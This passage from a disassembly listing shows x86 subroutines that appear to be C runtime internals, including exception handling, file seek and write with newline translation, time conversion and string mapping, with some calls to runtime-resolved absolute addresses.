[ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 26510D5h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2760000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F call near ptr 26709C5h nop jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 26E0000h test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 26709C5h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26E0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 26709C5h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2810000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2810000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2801040h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2630376h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, 